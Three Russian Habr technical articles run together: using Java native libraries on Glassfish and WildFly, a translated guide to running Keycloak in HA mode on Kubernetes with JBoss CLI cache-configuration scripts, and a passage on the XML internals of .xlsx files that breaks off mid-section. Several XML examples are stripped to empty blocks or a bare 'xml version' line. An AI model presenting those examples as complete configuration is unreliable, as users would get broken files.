Java native library (JNL) представляет собой JAR-архив, содержащий в себе JNI-код и объекты, которые операционная система может загрузить в качестве разделяемых библиотек. Это позволяет вызывать из Java-приложения функции, реализованные платформо-зависимыми методами. Способы создания JNL — это тема отдельной большой статьи, поэтому считаем, что у вас уже есть JNL и вы хотите ею воспользоваться в своем приложении. Об особенностях использования JNL в приложениях, работающих под управлением сервера приложений, и будет эта статья.
Использование JNL приводит к следующим негативным последствиям:
* код в JNL выполняется вне Java-машины, что может привести к проблемам с безопасностью;
* сама JNL, скорее всего, имеет ограниченное количество поддерживаемых платформ (комбинации «операционная система»-«процессор»). Соответственно, попытка запуска приложения, использующего JNL на платформе, которая JNL не поддерживается, закончится неудачно.
Однако в некоторых случаях без JNL обойтись невозможно. В качестве примеров можно назвать:
* необходимость напрямую использовать API операционной системы из Java-приложения (например, для реализации работы с последовательными портами ввода-вывода);
* необходимость реализации тяжеловесных алгоритмов (таких, как перекодирование медиа).
Использование JNL в standalone-приложениях практически ничем не отличается от использования обычных Java-библиотек. Т.е. необходимым условием является расположение JNL в месте, известном загрузчику классов (обычно достаточно разместить библиотеку где-нибудь в classpath). Однако иногда бывает необходимо разместить JNL в каталоге, непосредственно доступном и системному загрузчику ОС.
А вот если приложение предназначено для работы на каком-либо сервере приложений, то просто так засунуть JNL WAR/EAR файл и задеплоить его вместе с самим приложением на сервер не получится. Причина очевидна: возможная дыра в безопасности. Приложение с JNL получает доступ к операционной системе с привилегиями сервера приложений (это как минимум). Сервер приложений имеет свою собственную систему безопасности, и обходить ее пользовательскому приложению будет как-то не по пацански.
Таким образом, если вы засунете JNL непосредственно в EAR или WAR, то приложение, конечно же, задеплоится. Но вот при попытке вызова JNI-кода вы получите исключение (скорее всего это будет `java.lang.UnsatisfiedLinkError` с диагностикой Native Library already loaded in another classloader).
Так что же, использование JNL на сервере приложений абсолютно невозможно? На самом деле, это не так. Просто необходимо объяснить самому серверу приложений, что JNL используется на законных основаниях (и, наверное, ее использование для самого сервера приложений будет более-менее безопасно). Ну и далее начинаются тонкости, зависящие от конкретного сервера приложений.
В любом случае, при компиляции Java-кода необходимо указать пути к используемой JNL (чтобы иметь возможность ссылаться на содержащиеся в ней Java-классы), но вот упаковывать ее внутрь EAR/WAR или JAR файла, предназначенного для деплоймента, не надо. Дальнейшие действия зависят от целевого сервера приложений.
**Glassfish 3.x, 4.x**
Необходимо скопировать JNL в domain-dir/lib или domain-dir/lib/ext (при этом JNL будет доступна для всех приложений). В конфигурации Glassfish и в пользовательском приложении никаких дополнительных изменений делать не требуется.
**WildFly, Jboss**
Здесь все немного сложнее. Последовательность действий следующая:
* создаем внутри $JBOSS\_ROOT/modules набор каталогов вида:
```
$JBOSS_ROOT/modules/путь/к/моему/модулю/main
```
* копируем требуемый JNL в каталог:
```
$JBOSS_ROOT/modules/путь/к/моему/модулю/main
```
* там же создаем текстовой файл с именем module.xml и следующим содержимым:
```
xml version="1.0" encoding="UTF-8"?
```
* в приложении, которое хочет использовать JNL, в файле MANIFEST.MF (расположенном в /META-INF) добавляем строчку:
```
Dependencies: желаемое.имя.моего.модуля export
```
Параметр «export» добавляем в том случае, если мы хотим сделать наш JNL доступным не только для текущего модуля, но и для других модулей, которые в нем содержатся (например внутри EAR). | https://habr.com/ru/post/266411/ | null | ru | null |
# Запускаем Keycloak в HA режиме на Kubernetes
**TL;DR**: будет описание Keycloak, системы контроля доступа с открытым исходным кодом, разбор внутреннего устройства, детали настройки.
Введение и основные идеи
------------------------
В этой статье мы увидим основные идеи, которые следует помнить при разворачивании кластера Keycloak поверх Kubernetes.
Если желаете знать более детально о Keycloak — обратитесь к ссылкам в конце статьи. Для того, чтобы сильнее погрузиться в практику — можете изучить [наш репозиторий](https://github.com/sighupio/fury-kubernetes-keycloak) с модулем, который реализует основные идеи этой статьи (руководство по запуску там же, в этой статье будет обзор устройства и настроек, *прим. переводчика*).
Keycloak — это комплексная система, написанная на Java и построенная поверх сервера приложений [Wildfly](https://wildfly.org/). Если кратко, это framework для авторизации, дающий пользователям приложений федеративность и возможность SSO (single sign-on).
Приглашаем почитать официальный [сайт](https://www.keycloak.org/about.html) или [Википедию](https://ru.wikipedia.org/wiki/Keycloack) для подробного понимания.
Запуск Keycloak
---------------
Для Keycloak необходимо два постоянно хранимых источника данных для запуска:
* База данных, применяемая для хранения устоявшихся данных, например информации о пользователях
* Datagrid cache, который применяется для кэширования данных из базы, а также для хранения некоторых короткоживущих и часто изменяемых метаданных, например пользовательских сессий. Релизуется [Infinispan](https://en.wikipedia.org/wiki/Infinispan), который обычно значительно быстрее базы данных. Но в любом случае сохраняемые в Infinispan данные эфемерны — и их не надо куда-либо сохранять при перезапуске кластера.
Keycloak работает в четырех различных режимах:
* **Обычный** — один и только один процесс, настраивается через файл *standalone.xml*
* **Обычный кластер** (высокодоступный вариант) — все процессы должны использовать одну и ту же конфигурацию, которую надо синхронизировать вручную. Настройки хранятся в файле *standalone-ha.xml*, дополнительно надо сделать общий доступ к базе данных и балансировщик нагрузки.
* **Доменный кластер** — запуск кластера в обычном режиме быстро становится рутинным и скучным занятием при росте кластера, поскольку каждый раз при изменении конфигурации надо все изменения внести на каждом узле кластера. Доменный режим работы решает этот вопрос путем настройки некоторого общего места хранения и публикации конфигурации. Эти настройки хранятся в файле *domain.xml*
* **Репликация между датацентрами** — в случае, если хотите запустить Keycloak в кластере из нескольких датацентров, чаще всего в разных местах географически. В этом варианте работы каждый датацентр будет иметь собственный кластер Keycloak серверов.
В этой статье мы детально рассмотрим второй вариант, то есть *обычный кластер*, а также немного затронем тему насчет репликации между датацентрами, так как эти два варианта имеет смысл запускать в Kubernetes. К счастью в Kubernetes нету проблемы с синхронизацией настроек нескольких подов (узлов Keycloak), так что *доменный кластер* будет не особо сложно сделать.
Также пожалуйста обратите внимание, что слово *кластер* до конца статьи будет применяться исключительно насчет группы узлов Keycloak, работающих вместе, нет необходимости ссылаться на кластер Kubernetes.
Обычный кластер Keycloak
------------------------
Для запуска Keycloak в этом режиме нужно:
* настроить внешнюю общую базу данных
* установить балансировщик нагрузки
* иметь внутреннюю сеть с поддержкой ip multicast
Настройку внешней базы мы разбирать не будем, поскольку она не является целью данной статьи. Давайте будем считать, что где-то есть работающая база данных — и у нас к ней есть точка подключения. Мы просто добавим эти данные в переменные окружения.
Для лучшего понимания того, как Keycloak работает в отказоустойчивом (HA) кластере, важно знать, как сильно это все зависит от способностей Wildfly к кластеризации.
Wildfly применяет несколько подсистем, некоторые из них используются в качестве балансировщика нагрузки, некоторые — для отказоустойчивости. Балансировщик нагрузки обеспечивает доступность приложения при перегрузке узла кластера, а отказоустойчивость гарантирует доступность приложения даже в случае отказа части узлов кластера. Некоторые из этих подсистем:
* `mod_cluster`: работает совместно с Apache в качестве балансировщика HTTP, зависит от TCP multicast для поиска узлов по умолчанию. Может быть заменен внешним балансировщиком.
* `infinispan`: распределенный кэш, использующий каналы JGroups в качестве транспортного уровня. Дополнительно может применять протокол HotRod для связи с внешним кластером Infinispan для синхронизации содержимого кэша.
* `jgroups`: предоставляет поддержку связи групп для высокодоступных сервисов на основе каналов JGroups. Именованные каналы позволяют экземплярам приложения в кластере соединяться в группы так, что связь обладает такими свойствами, как надежность, упорядоченность, чувствительность к сбоям.
### Балансировщик нагрузки
При установке балансировщика в качестве ingress контроллера в кластере Kubernetes важно иметь в виду следующие вещи:
Работа Keycloak подразумевает, что удаленный адрес клиента, подключаемого по HTTP к серверу аутентификации, является реальным ip-адресом клиентского компьютера. Настройки балансировщика и ingress должны корректно устанавливать заголовки HTTP `X-Forwarded-For` и `X-Forwarded-Proto`, а также сохранять изначальный заголовок `HOST`. Последняя версия `ingress-nginx` (> 0.22.0) [отключает это по умолчанию](https://github.com/kubernetes/ingress-nginx/releases/tag/nginx-0.22.0)
Активация флага `proxy-address-forwarding` путем установки переменной окружения `PROXY_ADDRESS_FORWARDING` в `true` дает Keycloak понимание, что он работает за proxy.
Также надо включить *sticky sessions* в ingress. Keycloak применяет распределенный кэш Infinispan для сохранения данных, связанных с текущей сессией аутентификации и пользовательской сессией. Кэши работают с одним владельцем по умолчанию, другими словами эта конкретная сессия сохраняется на некотором узле кластера, а другие узлы должны запрашивать ее удаленно, если им понадобится доступ к этой сессии.
> Конкретно у нас вопреки документации не сработало прикрепление сессии с именем cookie `AUTH_SESSION_ID`. Keycloak зациклил перенаправление, поэтому мы рекомендуем выбрать другое имя cookie для sticky session.
Также Keycloak прикрепляет имя узла, ответившего первым, к `AUTH_SESSION_ID`, а поскольку каждый узел в высокодоступном варианте использует одну и ту же базу данных, каждый из них [должен иметь](https://access.redhat.com/articles/3645532) отдельный и уникальный идентификатор узла для управления транзакциями. Рекомендуется ставить в `JAVA_OPTS` параметры `jboss.node.name` и `jboss.tx.node.id` уникальными для каждого узла — можно к примеру ставить имя пода. Если будете ставить имя пода — не забывайте про ограничение в 23 символа для переменных jboss, так что лучше использовать StatefulSet, а не Deployment.
Еще одни грабли — если под удаляется или перезапускается, его кэш теряется. С учетом этого стоит установить число владельцев кэша для всех кэшей не менее чем в два, так будет оставаться копия кэша. Решение — запустить [скрипт для Wildfly](https://docs.jboss.org/author/display/WFLY/Command+Line+Interface) при запуске пода, подложив его в каталог `/opt/jboss/startup-scripts` в контейнере:
**Содержимое скрипта**
```
embed-server --server-config=standalone-ha.xml --std-out=echo
batch
echo * Setting CACHE_OWNERS to "${env.CACHE_OWNERS}" in all cache-containers
/subsystem=infinispan/cache-container=keycloak/distributed-cache=sessions:write-attribute(name=owners, value=${env.CACHE_OWNERS:1})
/subsystem=infinispan/cache-container=keycloak/distributed-cache=authenticationSessions:write-attribute(name=owners, value=${env.CACHE_OWNERS:1})
/subsystem=infinispan/cache-container=keycloak/distributed-cache=actionTokens:write-attribute(name=owners, value=${env.CACHE_OWNERS:1})
/subsystem=infinispan/cache-container=keycloak/distributed-cache=offlineSessions:write-attribute(name=owners, value=${env.CACHE_OWNERS:1})
/subsystem=infinispan/cache-container=keycloak/distributed-cache=clientSessions:write-attribute(name=owners, value=${env.CACHE_OWNERS:1})
/subsystem=infinispan/cache-container=keycloak/distributed-cache=offlineClientSessions:write-attribute(name=owners, value=${env.CACHE_OWNERS:1})
/subsystem=infinispan/cache-container=keycloak/distributed-cache=loginFailures:write-attribute(name=owners, value=${env.CACHE_OWNERS:1})
run-batch
stop-embedded-server
```
после чего установить значение переменной окружения `CACHE_OWNERS` в требуемое.
### Приватная сеть с поддержкой ip multicast
Если применяете Weavenet в качестве CNI, multicast будет работать сразу же — и ваши узлы Keycloak будут видеть друг друга, как только будут запущены.
Если у вас нет поддержки ip multicast в кластере Kubernetes, можно настроить JGroups на работу с другими протоколами для поиска узлов.
Первый вариант — испольльзование `KUBE_DNS`, который использует `headless service` для поиска узлов Keycloak, вы просто передаете JGroups имя сервиса, которое будет использовано для поиска узлов.
Еще один вариант — применение метода `KUBE_PING`, который работает с API для поиска узлов (надо настроить `serviceAccount` с правами `list` и `get`, после чего настроить поды для работы с этой `serviceAccount`).
Способ поиска узлов для JGroups настраивается путем выставления переменных окружения `JGROUPS_DISCOVERY_PROTOCOL` и `JGROUPS_DISCOVERY_PROPERTIES`. Для `KUBE_PING` надо выбрать поды задавая `namespace` и `labels`.
> ️ Если используете multicast и запускаете два и больше кластеров Keycloak в одном кластере Kubernetes (допустим один в namespace `production`, второй — `staging`) — узлы одного кластера Keycloak могут присоединиться к другому кластеру. Обязательно используйте уникальный multicast адрес для каждого кластера путем установки переменных`jboss.default.multicast.address` и `jboss.modcluster.multicast.address` в `JAVA_OPTS`.
Репликация между датацентрами
-----------------------------
### Связь
Keycloak использует множественные отдельные кластера кэшей Infinispan для каждого датацентра, где расположены кластера Keycloack, составленные из узлов Keycloak. Но при этом нет разницы между узлами Keycloak в разных датацентрах.
Узлы Keycloak используют внешнюю Java Data Grid (сервера Infinispan) для связи между датацентрами. Связь работает по протоколу [Infinispan HotRod](http://infinispan.org/docs/8.2.x/user_guide/user_guide.html#using_hot_rod_server).
Кэши Infinispan должны быть настроены с атрибутом `remoteStore`, для того, чтобы данные могли сохраняться в удаленных (в другом датацентре, *прим. переводчика*) кэшах. Есть отдельные кластера infinispan среди JDG серверов, так что данные, сохраняемые на JDG1 на площадке `site1` будут реплицированы на JDG2 на площадке `site2`.
Ну и наконец, принимающий сервер JDG оповещает сервера Keycloak своего кластера через клиентские соединения, что является особенностью протокола HotRod. Узлы Keycloak на `site2` обновляют свои кэши Infinispan, и конкретная пользовательская сессия становится также доступной на узлах Keycloak на `site2`.
Для некоторых кэшей также возможно не делать резервные копии и полностью отказаться от записи данных через сервер Infinispan. Для этого надо убрать настройку `remote-store` конкретному кэшу Infinispan (в файле *standalone-ha.xml*), после чего некоторый конкретный `replicated-cache` также перестанет быть нужным на стороне Infinispan сервера.
### Настройка кэшей
Есть два типа кэшей в Keycloak:
* Локальный. Он расположен рядом с базой, служит для уменьшения нагрузки на базу данных, а также для снижения задержки ответа. В этом типе кэша хранится realm, клиенты, роли и пользовательские метаданные. Этот тип кэша не реплицируется, даже если этот кэш — часть кластера Keycloak. Если меняется некоторая запись в кэше — остальным серверам в кластере отправляется сообщение об изменении, после чего запись исключается из кэша. См. описание `work` далее, для более детального описания процедуры.
* Реплицируемый. Обрабатывает пользовательские сессии, offline токены, а также следит за ошибками входа для определения попыток фишинга паролей и других атак. Хранимые данные в этим кэшах — временные, хранятся только в оперативной памяти, но могут быть реплицированы по кластеру.
### Кэши Infinispan
**Сессии** — концепция в Keycloak, отдельные кэши, которые называются `authenticationSessions`, применяются для хранения данных конкретных пользователей. Запросы с этих кэшей обычно нужны браузеру и серверам Keycloak, не приложениям. Здесь и проявляется зависимость от sticky sessions, а сами такие кэши не нужно реплицировать, даже и в случае Active-Active режима.
**Токены действия**. Очередная концепция, обычно применяется для различных сценариев, когда, к примеру, пользователь должен сделать что-то асинхронно по почте. Например, во время процедуры `forget password` кэш `actionTokens` применяется для отслеживания метаданных связанных токенов — к примеру токен уже использован, и не может быть активирован повторно. Этот тип кэша обычно должен реплицироваться между датацентрами.
**Кэширование и устаревание хранимых данных** работает для того, чтобы снять нагрузку с базы данных. Подобное кэширование улучшает производительность, но добавляет очевидную проблему. Если один сервер Keycloak обновляет данные, остальные сервера должны быть оповещены об этом, чтобы они могли провести актуализацию данных в своих кэшах. Keycloak использует локальные кэши `realms`, `users` и `authorization` для кэширования данных из базы.
Также есть отдельный кэш `work`, который реплицируется по всем датацентрам. Сам он не хранит каких-либо данных из базы, а служит для отправки сообщений об устаревании данных узлам кластера между датацентрами. Другими словами, как только данные обновляются, узел Keycloak посылает сообщение другим узлам в своем датацентре, а также узлам других датацентров. После получения такого сообщения каждый узел проводит чистку соответствующих данных в своих локальных кэшах.
**Пользовательские сессии**. Кэши с именами `sessions`, `clientSessions`, `offlineSessions` и `offlineClientSessions`, обычно реплицируются между датацентрами и служат для хранения данных об пользовательских сессиях, которые активны во время активности пользователя в браузере. Эти кэши работают с приложением, обрабатывающим запросы HTTP от конечных пользователей, так что они связаны с sticky sessions и должны реплицироваться между датацентрами.
**Защита от перебора грубой силой**. Кэш `loginFailures` служит для отслеживания данных ошибок входа, например сколько раз пользователь ввел неверный пароль. Репликация данного кэша — дело администратора. Но для точного подсчета стоит активировать репликацию между датацентрами. Но с другой стороны если не реплицировать эти данные, получится улучшить производительность, и если встает этот вопрос — репликацию можно и не активировать.
При раскатке кластера Infinispan нужно добавить определения кэшей в файл настроек:
```
```
> Необходимо настроить и запустить кластер Infinispan перед запуском кластера Keycloak
Затем надо настроить `remoteStore` для Keycloak кэшей. Для этого достаточно скрипта, который делается аналогично предыдущему, который использоваться для настройки переменной `CACHE_OWNERS`, надо сохранить его в файл и положить в каталог `/opt/jboss/startup-scripts`:
**Содержимое скрипта**
```
embed-server --server-config=standalone-ha.xml --std-out=echo
batch
echo *** Update infinispan subsystem ***
/subsystem=infinispan/cache-container=keycloak:write-attribute(name=module, value=org.keycloak.keycloak-model-infinispan)
echo ** Add remote socket binding to infinispan server **
/socket-binding-group=standard-sockets/remote-destination-outbound-socket-binding=remote-cache:add(host=${remote.cache.host:localhost}, port=${remote.cache.port:11222})
echo ** Update replicated-cache work element **
/subsystem=infinispan/cache-container=keycloak/replicated-cache=work/store=remote:add( \
passivation=false, \
fetch-state=false, \
purge=false, \
preload=false, \
shared=true, \
remote-servers=["remote-cache"], \
cache=work, \
properties={ \
rawValues=true, \
marshaller=org.keycloak.cluster.infinispan.KeycloakHotRodMarshallerFactory, \
protocolVersion=${keycloak.connectionsInfinispan.hotrodProtocolVersion} \
} \
)
/subsystem=infinispan/cache-container=keycloak/replicated-cache=work:write-attribute(name=statistics-enabled,value=true)
echo ** Update distributed-cache sessions element **
/subsystem=infinispan/cache-container=keycloak/distributed-cache=sessions/store=remote:add( \
passivation=false, \
fetch-state=false, \
purge=false, \
preload=false, \
shared=true, \
remote-servers=["remote-cache"], \
cache=sessions, \
properties={ \
rawValues=true, \
marshaller=org.keycloak.cluster.infinispan.KeycloakHotRodMarshallerFactory, \
protocolVersion=${keycloak.connectionsInfinispan.hotrodProtocolVersion} \
} \
)
/subsystem=infinispan/cache-container=keycloak/distributed-cache=sessions:write-attribute(name=statistics-enabled,value=true)
echo ** Update distributed-cache offlineSessions element **
/subsystem=infinispan/cache-container=keycloak/distributed-cache=offlineSessions/store=remote:add( \
passivation=false, \
fetch-state=false, \
purge=false, \
preload=false, \
shared=true, \
remote-servers=["remote-cache"], \
cache=offlineSessions, \
properties={ \
rawValues=true, \
marshaller=org.keycloak.cluster.infinispan.KeycloakHotRodMarshallerFactory, \
protocolVersion=${keycloak.connectionsInfinispan.hotrodProtocolVersion} \
} \
)
/subsystem=infinispan/cache-container=keycloak/distributed-cache=offlineSessions:write-attribute(name=statistics-enabled,value=true)
echo ** Update distributed-cache clientSessions element **
/subsystem=infinispan/cache-container=keycloak/distributed-cache=clientSessions/store=remote:add( \
passivation=false, \
fetch-state=false, \
purge=false, \
preload=false, \
shared=true, \
remote-servers=["remote-cache"], \
cache=clientSessions, \
properties={ \
rawValues=true, \
marshaller=org.keycloak.cluster.infinispan.KeycloakHotRodMarshallerFactory, \
protocolVersion=${keycloak.connectionsInfinispan.hotrodProtocolVersion} \
} \
)
/subsystem=infinispan/cache-container=keycloak/distributed-cache=clientSessions:write-attribute(name=statistics-enabled,value=true)
echo ** Update distributed-cache offlineClientSessions element **
/subsystem=infinispan/cache-container=keycloak/distributed-cache=offlineClientSessions/store=remote:add( \
passivation=false, \
fetch-state=false, \
purge=false, \
preload=false, \
shared=true, \
remote-servers=["remote-cache"], \
cache=offlineClientSessions, \
properties={ \
rawValues=true, \
marshaller=org.keycloak.cluster.infinispan.KeycloakHotRodMarshallerFactory, \
protocolVersion=${keycloak.connectionsInfinispan.hotrodProtocolVersion} \
} \
)
/subsystem=infinispan/cache-container=keycloak/distributed-cache=offlineClientSessions:write-attribute(name=statistics-enabled,value=true)
echo ** Update distributed-cache loginFailures element **
/subsystem=infinispan/cache-container=keycloak/distributed-cache=loginFailures/store=remote:add( \
passivation=false, \
fetch-state=false, \
purge=false, \
preload=false, \
shared=true, \
remote-servers=["remote-cache"], \
cache=loginFailures, \
properties={ \
rawValues=true, \
marshaller=org.keycloak.cluster.infinispan.KeycloakHotRodMarshallerFactory, \
protocolVersion=${keycloak.connectionsInfinispan.hotrodProtocolVersion} \
} \
)
/subsystem=infinispan/cache-container=keycloak/distributed-cache=loginFailures:write-attribute(name=statistics-enabled,value=true)
echo ** Update distributed-cache actionTokens element **
/subsystem=infinispan/cache-container=keycloak/distributed-cache=actionTokens/store=remote:add( \
passivation=false, \
fetch-state=false, \
purge=false, \
preload=false, \
shared=true, \
cache=actionTokens, \
remote-servers=["remote-cache"], \
properties={ \
rawValues=true, \
marshaller=org.keycloak.cluster.infinispan.KeycloakHotRodMarshallerFactory, \
protocolVersion=${keycloak.connectionsInfinispan.hotrodProtocolVersion} \
} \
)
/subsystem=infinispan/cache-container=keycloak/distributed-cache=actionTokens:write-attribute(name=statistics-enabled,value=true)
echo ** Update distributed-cache authenticationSessions element **
/subsystem=infinispan/cache-container=keycloak/distributed-cache=authenticationSessions:write-attribute(name=statistics-enabled,value=true)
echo *** Update undertow subsystem ***
/subsystem=undertow/server=default-server/http-listener=default:write-attribute(name=proxy-address-forwarding,value=true)
run-batch
stop-embedded-server
```
Не забывайте установить `JAVA_OPTS` для узлов Keycloak для работы HotRod: `remote.cache.host`, `remote.cache.port` и имя сервиса `jboss.site.name`.
Ссылки и дополнительная документация
------------------------------------
* <https://www.keycloak.org/docs/latest/server_installation/index.html>
* <https://docs.wildfly.org/17/High_Availability_Guide.html#cluster-configuration>
* <https://infinispan.org/docs/9.4.x/user_guide/user_guide.html>
* <https://hub.docker.com/r/jboss/keycloak>
* <https://hub.docker.com/r/jboss/infinispan>
*Статья переведена и подготовлена для Хабра сотрудниками [обучающего центра Слёрм](http://to.slurm.io/7x-vEQ) — интенсивы, видеокурсы и корпоративное обучение от практикующих специалистов (Kubernetes, DevOps, Docker, Ansible, Ceph, SRE)* | https://habr.com/ru/post/511380/ | null | ru | null |
# .xlsx изнутри. Разбор структуры файлов. Разбор каждого .xml файла
Недавно мне понадобилось встроить в CRM возможность создания отчетов в Excel посредством PHP, но готовые решения были сильно громоздкими. Поэтому я решил написать собственную библиотеку для работы с Excel файлами через PHP. Но информации о внутренности Excel было очень мало и мне пришлось собирать ее по крупинкам, иногда методами тыка, проб и ошибок разбирал работу некоторых элементов.
На написание данной статьи меня натолкнули уже существующие статьи от **[@Lachrimae](/users/lachrimae).**
Но дополнять ее в комментариях - очень громоздко и неудобно. Поэтому я решил поделиться всеми свои знаниями в новой статье, и если это поможет кому-то, то мои старания будут более, чем не напрасны.
Оглавление:
-----------
1. [Структура файлов](#name1);
2. [Разбор файла \_rels/.rels](#relsrels);
3. [Разбор docProps/app.xml](#docpropsappxml);
4. [Разбор docProps/core.xml](#docpropscorexml);
5. [Разбор xl/\_rels/workbook.xml.rels](#xlrelsworkbookxmlrels);
6. [Разбор xl/printerSettings/printerSettings1.bin](#xlprintersettingsprintersettings1bin);
7. [Разбор xl/theme/theme1.xml](#xlthemetheme1xml);
8. [Разбор xl/worksheets/\_rels/sheet1.xml.rels](#xlworksheetsrelssheet1xmlrels);
9. [Разбор xl/worksheets/sheet1.xml](#xlworksheetssheet1xml);
10. [Разбор xl/caclChain.xml](#xlcalcchainxml);
11. [Разбор xl/sharedStrings.xml](#xlsharedstringsxml);
12. [Разбор xl/styles.xml](#xlstylesxml);
13. [Разбор xl/workbook.xml](#xlworkbookxml);
14. [Разбор [Content\_Types].xml](#contenttypesxml);
15. [Завершение](#end).
Структура файлов
----------------
Так как Excel - это архив файлов .xml, то мы можем его распаковать и увидеть следующее содержание:
Дерево файлов и подкаталоговНекоторые файлы могут отсутствовать, такие как: **xl/worksheets/\_rels/sheet.xml.rels**, **xl/calcChain.xml**, **xl/printerSettings/printerSettings1.bin** и **sharedString.xml**
В папках **xl/worksheets**, **xl/printerSettings** и **xl/worksheets/\_rels** могут быть по несколько файлов.
Давайте разберёмся, для чего все эти файлы, начнём по порядку:
**\_rels/.rels** - описание связей файлов, касаемых самой работы Excel;
**docProps/app.xml** - описание и настройки приложения Excel;
**docProps/core.xml** - здесь записывается имя создателя файла, время создания и последнего редактирования файла;
**xl/\_rels/workbook.xml.rels** - перечень и описание зависимостей файлов, используемых в книге;
**xl/printerSettings/printerSettings1.bin** - описание настроек для печати листа;
**xl/theme/theme1.xml** - описание стилей приложения;
**xl/worksheets/\_rels/sheet1.xml.rels** - описание связей листа xl/worksheets/sheet1.xml с другими документами;
**xl/worksheets/sheet1.xml** - описание всего происходящего на листе, который находится на первой позиции в списке листов книги. Название листа и название файла никак не связаны, файл всегда называется sheet1, sheet2 и т.д. На каждый лист приходится один такой файл;
**xl/caclChain.xml** - цепочка вычислений. Конструкция, указывающая порядок вычислений ячеек в книге в последний раз;
**xl/sharedStrings.xml** - перечень строковых значений, используемых во всей книге;
**xl/styles.xml** - описание стилей, используемых во всей книге;
**xl/workbook.xml** - описание настроек книги и перечень используемых листов;
**[Content\_Types].xml** - описание всех файлов и их типов.
Разбор файла \_rels/.rels
-------------------------
Если открыть файл - мы увидим следующее содержание:
```
xml version="1.0" encoding="UTF-8" standalone="yes"?
```
**В первой** строке у нас объявляется тип документа - xml с его версией, кодировкой и автономности.
**standalone (автономность)** - Это объявление указывает, содержит ли внешнее подмножество DTD (Document Type Definition — определение типа документа) какие-либо объявления, которые могут повлиять на текущее содержимое документа.
**Вторая строчка** - открывающий тег для описания связей документов. Атрибут **xmlns** - означает, что используется пространство имен, от сюда и название самого атрибута - xml NameSpace.
Далее идут 3 строки связей с документами. У каждого есть атрибуты: **Id** - уникальное имя для связи, **Type** - ссылка на стандарт, описывающий нужный нам тип документа, **Target** - путь к исполняемому файлу.
Разбор docProps/app.xml
-----------------------
Содержимое данного файла примерно такая (не все элементы могут присутствовать и иметь тот же вид, что и у меня):
```
xml version="1.0" encoding="UTF-8" standalone="yes"?
Microsoft Excel
0
false
Worksheets
1
Лист 1
false
false
false
14.0300
```
Первая строка нам уже [знакома](#firstString).
Во второй строке открывающий тег **properties** и эта строка похожа на [рассмотренную нами ранее](#secondString).
Третья строка содержит название приложения. В данном случае - Microsoft Excel (что не удивительно). Данную строку лучше не изменять, ибо приложение упадет.
Следующая строка:
```
0
```
Означает безопасность документа и в зависимости от числа имеет следующий посыл:
**0** - Документ не защищен
**1** - Документ защищен паролем.
**2** - Рекомендуется открывать документ только для чтения.
**4** - Документ принудительно открыт только для чтения.
**8** - Документ заблокирован для заметок.
Строка:
```
false
```
указывает режим отображения эскиза документа. Установите для этого элемента значение **TRUE**, чтобы включить масштабирование эскиза документа на экране. Установите для этого элемента значение **FALSE**, чтобы включить обрезку эскиза документа, чтобы отображались только те разделы, которые соответствуют отображаемому значению (из [документации microsoft](https://docs.microsoft.com/ru-ru/dotnet/api/documentformat.openxml.extendedproperties.scalecrop?view=openxml-2.8.1)).
Далее открывается тег **HeadingPairs**, внутри которого описаны группы частей документа и количество частей в каждой группе. Эти части являются не частями документа, а концептуальными представлениями разделов документа.
Внутри **HeadingPairs** мы имеем 1 векторный контент, в котором имеются 2 его части (подробнее о векторах и **baseType** можно почитать в [документации microsoft](https://docs.microsoft.com/ru-ru/dotnet/api/documentformat.openxml.varianttypes.vtvector?view=openxml-2.8.1)).
Первая часть означает, что мы описываем листы в книге, а во второй части указываем количество этих листов.
Следующий тег - **TitlesOfParts.** Он описывает наименования частей документа. в данном случае - названия листов в книге. Здесь также указывается количество частей векторного контента.
В теге **Company** можно записать название компании.
Следующий элемент - **LinksUpToDate** - указывает, актуальны ли гиперссылки в документе. Установите для этого элемента значение **TRUE**, чтобы показать, что гиперссылки обновлены. Установите для этого элемента значение **FALSE**, чтобы указать, что гиперссылки устарели (из [документации microsoft](https://docs.microsoft.com/ru-ru/dotnet/api/documentformat.openxml.extendedproperties.linksuptodate?view=openxml-2.8.1)).
Элемент **SharedDoc** указывает, является ли этот документ в настоящее время общим для нескольких производителей. Если для этого элемента установлено значение **TRUE**, производителям следует проявлять осторожность при обновлении документа.
**HyperlinksChanged** указывает, что одна или несколько гиперссылок в этой части были обновлены исключительно в этой части производителем. Следующий производитель, который откроет этот документ, обновит отношения гиперссылок новыми гиперссылками, указанными в этой части.
Тег **AppVersion** указывает версию используемого приложения Excel при создании файла
Разбор docProps/core.xml
------------------------
Содержимое файла примерно таково:
```
xml version="1.0" encoding="UTF-8" standalone="yes"?
Виктор
2006-09-16T00:00:00Z
2006-09-16T00:00:00Z
```
Первая строка нам уже [знакома](#firstString).
Во второй строке открывающий тег **cp:coreProperties** и эта строка похожа на [рассмотренную нами ранее](#secondString). Внутри него описываются свойства приложения:
**dc:creator** - Имя создателя документа;
**dcterms:created** - дата и время создания файла;
**dcterms:modified** - дата и время последнего изменения файла;
Разбор xl/\_rels/workbook.xml.rels
----------------------------------
Примерное содержимое файла:
```
xml version="1.0" encoding="UTF-8" standalone="yes"?
```
Этот файл похож на [раннее рассмотренный](#relsrels) нами, только здесь уже описываются зависимости для файлов, которые используются непосредственно в книге.
Здесь записаны зависимости всех листов в книге, файла со строковыми значениями, цепочками вычислений и прочих файлов (мы разберем эти файлы дальше)
Разбор xl/printerSettings/printerSettings1.bin
----------------------------------------------
Это файл, содержащий код в бинарном виде. Чтобы разобрать этот файл нужно описать много вещей про бинарники, а, чтобы научить писать правильно такой файл, потребуется много сил, времени и много текста.Да и в целом не вижу смысла вам работать с этим файлом. (честно говоря, я сам поверхностно знаком с этой темой).
Разбор xl/theme/theme1.xml
--------------------------
У меня не было надобностей разбирать этот файл, поэтому пока не буду описывать его работу. Но если кому-то понадобится (не знаю зачем) подробный разбор этого файла - я постараюсь сделать это.
Разбор xl/worksheets/\_rels/sheet1.xml.rels
-------------------------------------------
Содержимое этого файла может быть следующим:
```
xml version="1.0" encoding="UTF-8" standalone="yes"?
```
Здесь описана одна зависимость с файлом **xl/printerSettings/printerSettings1.bin** - настройками для печати.
Разбор xl/worksheets/sheet1.xml
-------------------------------
Начинается самое интересное и большое в этой статье.
Начинается такой файл с обычного объявления типа документа xml и некоторых настроек:
```
xml version="1.0" encoding="UTF-8" standalone="yes"?
```
Строка третья означает размер экспортируемого диапазона (с какой по какую ячейку находятся данные).
В теге **sheetView** - **selection** описывается выделенная клетка (или диапазон клеток).
Атрибут **activeCell** - активная ячейка, **sqref** - выделенная ячейка или диапазон ячеек.
такая строка может выглядеть и вот так:
